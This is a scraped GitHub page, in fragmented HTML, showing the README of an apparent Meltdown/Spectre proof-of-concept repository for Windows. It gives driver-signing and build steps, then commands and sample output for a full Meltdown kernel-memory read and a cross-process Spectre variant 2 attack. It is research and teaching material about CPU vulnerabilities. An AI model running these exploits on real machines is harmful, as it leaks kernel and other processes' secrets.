0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eFirst, configure \u003ccode\u003emeltdown.sys\u003c/code\u003e as a kernel service and start it. This stores some data in the non-paged pool.\u003c/p\u003e\n\u003cdiv class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"\u0026gt; sc create meltdown binpath= D:\\WORK\\meltdown.sys type= kernel\n\u0026gt; net start meltdown\"\u003e\u003cpre class=\"notranslate\"\u003e\u003ccode\u003e\u0026gt; sc create meltdown binpath= D:\\WORK\\meltdown.sys type= kernel\n\u0026gt; net start meltdown\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eYou can get a kernel address allocated in the previous step by running \u003ccode\u003emdc.exe\u003c/code\u003e. You'll see an output as follows. In the below output, the target is \u003ccode\u003eFFFFD10902564000\u003c/code\u003e.\u003c/p\u003e\n\u003cdiv class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"\u0026gt; mdc.exe --info\nFullPathName: \\SystemRoot\\system32\\ntoskrnl.exe\nImageBase: FFFFF8014B889000\nImageSize: 008d2000\nFFFFF8014BDA6000 (= nt + 0051d000 ):\n 00 00 e8 79 2d ba ff 8b 87 d0 06 00 00 45 33 f6\n\nSecret data should be placed at FFFFD10902564000\"\u003e\u003cpre class=\"notranslate\"\u003e\u003ccode\u003e\u0026gt; mdc.exe --info\nFullPathName: \\SystemRoot\\system32\\ntoskrnl.exe\nImageBase: FFFFF8014B889000\nImageSize: 008d2000\nFFFFF8014BDA6000 (= nt + 0051d000 ):\n 00 00 e8 79 2d ba ff 8b 87 d0 06 00 00 45 33 f6\n\nSecret data should be placed at FFFFD10902564000\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eBefore staring Meltdown, run the following command as well. This makes sure the target data is stored onto L1 cache. This is a mandatory step.\u003c/p\u003e\n\u003cdiv class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"\u0026gt; mdc.exe --timer_start\"\u003e\u003cpre class=\"notranslate\"\u003e\u003ccode\u003e\u0026gt; mdc.exe --timer_start\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eFinally, start \u003ccode\u003emeltdown.exe\u003c/code\u003e to start Meltdown. The first parameter is the number of bytes to read. The second parameter is the virtual address to start reading at. You'll see an output as follows.\u003c/p\u003e\n\u003cdiv class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"\u0026gt; meltdown.exe 4 FFFFD10902564000\nTarget range: FFFFD10902564000 - FFFFD10902564004\n\nYou have 8 CPU cores. Starting probing threads...\n\nrunning tid:0ae8 for core#0\nrunning tid:1e08 for core#1\nrunning tid:0ad8 for core#2\nrunning tid:16a8 for core#3\nrunning tid:11cc for core#4\nrunning tid:0af0 for core#5\nrunning tid:0af4 for core#6\nrunning tid:0848 for core#7\n\ncore#0: 41 6e 10 77\ncore#1: 00 00 73 00\ncore#2: 00 e0 00 00\ncore#3: 00 00 00 00\ncore#4: 00 00 00 44\ncore#5: 00 00 00 00\ncore#6: 00 00 00 00\ncore#7: 00 00 00 00\"\u003e\u003cpre class=\"notranslate\"\u003e\u003ccode\u003e\u0026gt; meltdown.exe 4 FFFFD10902564000\nTarget range: FFFFD10902564000 - FFFFD10902564004\n\nYou have 8 CPU cores. Starting probing threads...\n\nrunning tid:0ae8 for core#0\nrunning tid:1e08 for core#1\nrunning tid:0ad8 for core#2\nrunning tid:16a8 for core#3\nrunning tid:11cc for core#4\nrunning tid:0af0 for core#5\nrunning tid:0af4 for core#6\nrunning tid:0848 for core#7\n\ncore#0: 41 6e 10 77\ncore#1: 00 00 73 00\ncore#2: 00 e0 00 00\ncore#3: 00 00 00 00\ncore#4: 00 00 00 44\ncore#5: 00 00 00 00\ncore#6: 00 00 00 00\ncore#7: 00 00 00 00\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eThis PoC is not as stable as the toy examples described earlier. The actual kernel bytes start with '41 63 73 77'. You can see the thread running on core#0 got three of them, and core#1 got one. It's not 100% accurate, but obviously we're seeing data that we should not be able to see. Success rate depends on CPU, and some parameters hardcoded in the attacker's code. For example, you may need to increase the value of \u003ccode\u003emax_trial\u003c/code\u003e in \u003ccode\u003emeltdown_full\u003c/code\u003e.\u003c/p\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch3 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003ePoC #4: Cross-process Branch Target Injection (Spectre Variant 2)\u003c/h3\u003e\u003ca id=\"user-content-poc-4-cross-process-branch-target-injection-spectre-variant-2\" class=\"anchor\" aria-label=\"Permalink: PoC #4: Cross-process Branch Target Injection (Spectre Variant 2)\" href=\"#poc-4-cross-process-branch-target-injection-spectre-variant-2\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eThis PoC demonstrates a cross-process scenario of the 2nd variant of Spectre while \u003ccode\u003ebranch.exe --variant2\u003c/code\u003eof PoC #2 demonstrates a single-process scenario. The concept to prove here is that the execution of an indirect branch instruction in one process can influence branch prediction in another process, resulting in a speculative execution of a gadget that is chosen by an attacker. Moreover, the attacker can retrieve the result of victim's speculative execution via Flush+Reload in the attacker's context.\u003c/p\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch4 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003eRun \u0026amp; Output (Flush+Reload in Victim process)\u003c/h4\u003e\u003ca id=\"user-content-run--output-flushreload-in-victim-process\" class=\"anchor\" aria-label=\"Permalink: Run \u0026amp; Output (Flush+Reload in Victim process)\" href=\"#run--output-flushreload-in-victim-process\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eFirst, start the victim process by running \u003ccode\u003espectre.exe --victim --probe\u003c/code\u003e. The 2nd option \u003ccode\u003e--probe\u003c/code\u003e means we run Flush+Reload in the victim process. You'll see an output like this:\u003c/p\u003e\n\u003cdiv class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"\u0026gt; spectre.exe --victim --probe\nStarting the victim thread with probing on cpu#1...\"\u003e\u003cpre class=\"notranslate\"\u003e\u003ccode\u003e\u0026gt; spectre.exe --victim --probe\nStarting the victim thread with probing on cpu#1...\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eNow the victim process is continuously executing an indirect branch instruction in a loop. You can influence this victim process by starting a new process. Open a new command prompt and run the command \u003ccode\u003espectre.exe --train\u003c/code\u003e. The second process continuously executes an indirect branch instruction located at the same virtual address as in the victim process, but the destination address is cracked in the attacker process.\u003c/p\u003e\n\u003cdiv class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"\u0026gt; spectre.exe --train\nStarting the training thread on cpu#1...\"\u003e\u003cpre class=\"notranslate\"\u003e\u003ccode\u003e\u0026gt; spectre.exe --train\nStarting the training thread on cpu#1...\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eWhen you go back to the first command prompt where the victim is running, you'll see an output like this:\u003c/p\u003e\n\u003cdiv class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"\u0026gt; spectre.exe --victim --probe\nStarting the victim thread with probing on cpu#1...\n\ntrial#10209: guess='A' (=41) (score=70)\ntrial#1: guess='A' (=41) (score=46)\ntrial#0: guess='A' (=41) (score=36)\ntrial#1: guess='A' (=41) (score=47)\ntrial#1: guess='A' (=41) (score=43)\n...\"\u003e\u003cpre class=\"notranslate\"\u003e\u003ccode\u003e\u0026gt; spectre.exe --victim --probe\nStarting the victim thread with probing on cpu#1...\n\ntrial#10209: guess='A' (=41) (score=70)\ntrial#1: guess='A' (=41) (score=46)\ntrial#0: guess='A' (=41) (score=36)\ntrial#1: guess='A' (=41) (score=47)\ntrial#1: guess='A' (=41) (score=43)\n...\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eThis means the second process successfully caused the first process to run a gadget speculatively, and Flush+Reload caught its result in the victim process. If you terminate the second training process and restart it with the same command again, you'll see speculative execution happens only while the training process is running.\u003c/p\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch4 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003eRun \u0026amp; Output (Flush+Reload in Attacker process)\u003c/h4\u003e\u003ca id=\"user-content-run--output-flushreload-in-attacker-process\" class=\"anchor\" aria-label=\"Permalink: Run \u0026amp; Output (Flush+Reload in Attacker process)\" href=\"#run--output-flushreload-in-attacker-process\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eThe previous Run \u0026amp; Output proves cross-process branch target injection indeed happens, but it's not very interesting because the attacker could not get the result of speculative execution. Let's see it's possible that the victim's speculative execution induced by the attacker influences back the attacker's Flush+Reload.\u003c/p\u003e\n\u003cp dir=\"auto\"\u003eStart the victim process by running \u003ccode\u003espectre.exe --victim\u003c/code\u003e. Without \u003ccode\u003e--probe\u003c/code\u003e, the victim process does not run Flush+Reload.\u003c/p\u003e\n\u003cdiv class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"\u0026gt; spectre.exe --victim\nStarting the victim thread on cpu#1...\"\u003e\u003cpre class=\"notranslate\"\u003e\u003ccode\u003e\u0026gt; spectre.exe --victim\nStarting the victim thread on cpu#1...\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eStart a new command prompt and start the training process with the option \u003ccode\u003e--probe\u003c/code\u003e. If Flush+Reload at the attacker succeeds, you'll see an output like this:\u003c/p\u003e\n\u003cdiv class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"\u0026gt; spectre.exe --train --probe\nStarting the training thread on cpu#1...\nStarting the probing thread on cpu#2...\ntrial#1565: guess='A' (=41) (score=97)\ntrial#12636: guess='A' (=41) (score=60)\ntrial#1037: guess='A' (=41) (score=82)\"\u003e\u003cpre class=\"notranslate\"\u003e\u003ccode\u003e\u0026gt; spectre.exe --train --probe\nStarting the training thread on cpu#1...\nStarting the probing thread on cpu#2...\ntrial#1565: guess='A' (=41) (score=97)\ntrial#12636: guess='A' (=41) (score=60)\ntrial#1037: guess='A' (=41) (score=82)\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eUnfortunately success rate of this scenario is bad, and it varies depending on CPU and other processes running on the system. In the worst case, you may need to wait a couple of minutes until a first result.\u003c/p\u003e\n\u003cdiv class=\"markdown-heading\" dir=\"auto\"\u003e\u003ch2 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\"\u003e*Warning*\u003c/h2\u003e\u003ca id=\"user-content-warning\" class=\"anchor\" aria-label=\"Permalink: *Warning*\" href=\"#warning\"\u003e\u003csvg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"\u003e\u003cpath d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/a\u003e\u003c/div\u003e\n\u003cp dir=\"auto\"\u003eThis code is only for testing purposes. Do not run it on any productive systems. Do not run it on any system that might be used by another person or entity.\u003c/p\u003e\n\u003c/article\u003e","loaded":true,"timedOut":false,"errorMessage":null,"headerInfo":{"toc":[{"level":1,"text":"Meltdown/Spectre Proof-of-Concept for Windows","anchor":"meltdownspectre-proof-of-concept-for-windows","htmlText":"Meltdown/Spectre Proof-of-Concept for Windows"},{"level":2,"text":"Software requirements to build","anchor":"software-requirements-to-build","htmlText":"Software requirements to build"},{"level":2,"text":"How to build","anchor":"how-to-build","htmlText":"How to build"},{"level":3,"text":"1. Configure NASM","anchor":"1-configure-nasm","htmlText":"1. Configure NASM"},{"level":3,"text":"2. Prepare a codesign certificate to sign a driver (for Meltdown Full)","anchor":"2-prepare-a-codesign-certificate-to-sign-a-driver-for-meltdown-full","htmlText":"2. Prepare a codesign certificate to sign a driver (for Meltdown Full)"},{"level":3,"text":"3. Build","anchor":"3-build","htmlText":"3. Build"},{"level":2,"text":"How to run","anchor":"how-to-run","htmlText":"How to run"},{"level":3,"text":"PoC #1: Toy example of Meltdown","anchor":"poc-1-toy-example-of-meltdown","htmlText":"PoC #1: Toy example of Meltdown"},{"level":4,"text":"Run \u0026 Output","anchor":"run--output","htmlText":"Run \u0026amp; Output"},{"level":3,"text":"PoC #2: Toy example of Spectre","anchor":"poc-2-toy-example-of-spectre","htmlText":"PoC #2: Toy example of Spectre"},{"level":4,"text":"Run \u0026 Output","anchor":"run--output-1","htmlText":"Run \u0026amp; Output"},{"level":3,"text":"PoC #3: Full Meltdown","anchor":"poc-3-full-meltdown","htmlText":"PoC #3: Full Meltdown"},{"level":4,"text":"Run \u0026 Output","anchor":"run--output-2","htmlText":"Run \u0026amp; Output"},{"level":3,"text":"PoC #4: Cross-process Branch Target Injection (Spectre Variant 2)","anchor":"poc-4-cross-process-branch-target-injection-spectre-variant-2","htmlText":"PoC #4: Cross-process Branch Target Injection (Spectre Variant 2)"},{"level":4,"text":"Run \u0026 Output (Flush+Reload in Victim process)","anchor":"run--output-flushreload-in-victim-process","htmlText":"Run \u0026amp; Output (Flush+Reload in Victim process)"},{"level":4,"text":"Run \u0026 Output (Flush+Reload in Attacker process)","anchor":"run--output-flushreload-in-attacker-process","htmlText":"Run \u0026amp; Output (Flush+Reload in Attacker process)"},{"level":2,"text":"*Warning*","anchor":"warning","htmlText":"*Warning*"}],"siteNavLoginPath":"/login?return_to=https%3A%2F%2Fgithub.com%2Fmsmania%2Fmicroarchitectural-attack"}},{"displayName":"LICENSE","repoName":"microarchitectural-attack","refName":"master","path":"LICENSE","preferredFileType":"license","tabName":"MIT","richText":null,"loaded":false,"timedOut":false,"errorMessage":null,"headerInfo":{"toc":null,"siteNavLoginPath":"/login?return_to=https%3A%2F%2Fgithub.com%2Fmsmania%2Fmicroarchitectural-attack"}}],"overviewFilesProcessingTime":0}},"appPayload":{"helpUrl":"https://docs.github.com","findFileWorkerPath":"/assets-cdn/worker/find-file-worker-7d7eb7c71814.js","findInFileWorkerPath":"/assets-cdn/worker/find-in-file-worker-96e76d5fdb2c.js","githubDevUrl":null,"enabled_features":{"copilot_workspace":null,"code_nav_ui_events":false,"overview_shared_code_dropdown_button":false,"react_blob_overlay":false,"accessible_code_button":true,"github_models_repo_integration":false}}}}</script> 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aria-describedby=":Rr9ab:-loading-announcement" id=":Rr9ab:"><svg aria-hidden="true" focusable="false" class="octicon octicon-list-unordered" viewBox="0 0 16 16" width="16" height="16" fill="currentColor" display="inline-block" overflow="visible" style="vertical-align:text-bottom"><path d="M5.75 2.5h8.5a.75.75 0 0 1 0 1.5h-8.5a.75.75 0 0 1 0-1.5Zm0 5h8.5a.75.75 0 0 1 0 1.5h-8.5a.75.75 0 0 1 0-1.5Zm0 5h8.5a.75.75 0 0 1 0 1.5h-8.5a.75.75 0 0 1 0-1.5ZM2 14a1 1 0 1 1 0-2 1 1 0 0 1 0 2Zm1-6a1 1 0 1 1-2 0 1 1 0 0 1 2 0ZM2 4a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z"></path></svg></button></div><div class="Box-sc-g0xbh4-0 QkQOb js-snippet-clipboard-copy-unpositioned undefined" data-hpc="true"><article class="markdown-body entry-content container-lg" itemprop="text"><div class="markdown-heading" dir="auto"><h1 tabindex="-1" class="heading-element" dir="auto">Meltdown/Spectre Proof-of-Concept for Windows</h1><a id="user-content-meltdownspectre-proof-of-concept-for-windows" class="anchor" aria-label="Permalink: Meltdown/Spectre Proof-of-Concept for Windows" href="#meltdownspectre-proof-of-concept-for-windows"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">This repository contains PoC codes to demonstrate the famous Meltdown/Spectre vulnerability. Hopefully this becomes a good start to explore the wonderful world of microarchitectural attacks for you!</p> <div class="markdown-heading" dir="auto"><h2 tabindex="-1" class="heading-element" dir="auto">Software requirements to build</h2><a id="user-content-software-requirements-to-build" class="anchor" aria-label="Permalink: Software requirements to build" href="#software-requirements-to-build"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">Don't worry, all free 😉.</p> <ul dir="auto"> <li>Visual Studio Community 2017<br><a href="https://www.visualstudio.com/downloads/" rel="nofollow">https://www.visualstudio.com/downloads/</a></li> <li>Windows 10 SDK<br><a href="https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk" rel="nofollow">https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk</a></li> <li>WDK for Windows 10<br><a href="https://developer.microsoft.com/en-us/windows/hardware/download-kits-windows-hardware-development" rel="nofollow">https://developer.microsoft.com/en-us/windows/hardware/download-kits-windows-hardware-development</a></li> <li>The Netwide Assembler<br><a href="http://www.nasm.us/" rel="nofollow">http://www.nasm.us/</a></li> </ul> <div class="markdown-heading" dir="auto"><h2 tabindex="-1" class="heading-element" dir="auto">How to build</h2><a id="user-content-how-to-build" class="anchor" aria-label="Permalink: How to build" href="#how-to-build"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <div class="markdown-heading" dir="auto"><h3 tabindex="-1" class="heading-element" dir="auto">1. Configure NASM</h3><a id="user-content-1-configure-nasm" class="anchor" aria-label="Permalink: 1. Configure NASM" href="#1-configure-nasm"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">Update <code>ASM</code> in <code>common.inc</code> with the path to nasm.exe</p> <div class="markdown-heading" dir="auto"><h3 tabindex="-1" class="heading-element" dir="auto">2. Prepare a codesign certificate to sign a driver (for Meltdown Full)</h3><a id="user-content-2-prepare-a-codesign-certificate-to-sign-a-driver-for-meltdown-full" class="anchor" aria-label="Permalink: 2. Prepare a codesign certificate to sign a driver (for Meltdown Full)" href="#2-prepare-a-codesign-certificate-to-sign-a-driver-for-meltdown-full"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">Meltdown Full PoC needs help from a driver, that is included in this repo. In the current Windows, drivers need to be signed with a codesign certificate. So you need to create a self-signed or CA-signed certificate. If you are a millionaire, you may have a <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/get-a-code-signing-certificate" rel="nofollow">Windows EV signing cert</a>.</p> <p dir="auto"><code>Makefile</code> in the repo already has a step to sign a driver file. What you need to do is:</p> <ol dir="auto"> <li> <p dir="auto">Prepare a certificate having 'codeSigning' (1.3.6.1.5.5.7.3.3) in the extended key usage section<br>OpenSSL is always your friend. If you prefer Microsoft'ish way, <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/jj835832.aspx" rel="nofollow">this</a> would be useful.</p> </li> <li> <p dir="auto">On your build machine, install your certificate to the 'My' Certificate store:<br><code>certutil -add My <path_to_pfx></code></p> </li> <li> <p dir="auto">Update <code>CODESIGN_SHA1</code> in <code>03_meltdown_full/Makefile</code> with SHA1 hash of your certificate.</p> </li> <li> <p dir="auto">On you test machine to run the driver on, enable testsigning:<br><code>bcdedit /set testsigning on</code></p> </li> <li> <p dir="auto">Reboot the test machine to enable the testsigning mode</p> </li> </ol> <div class="markdown-heading" dir="auto"><h3 tabindex="-1" class="heading-element" dir="auto">3. Build</h3><a id="user-content-3-build" class="anchor" aria-label="Permalink: 3. Build" href="#3-build"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">Launch "x64 Native Tools Command Prompt for VS 2017" and run <code>NMAKE</code> on the root of this repo. Binaries will be generated under the subdirectory "bin/amd64".</p> <p dir="auto">The current code supports x64 only. 32bit compilation will fail.</p> <div 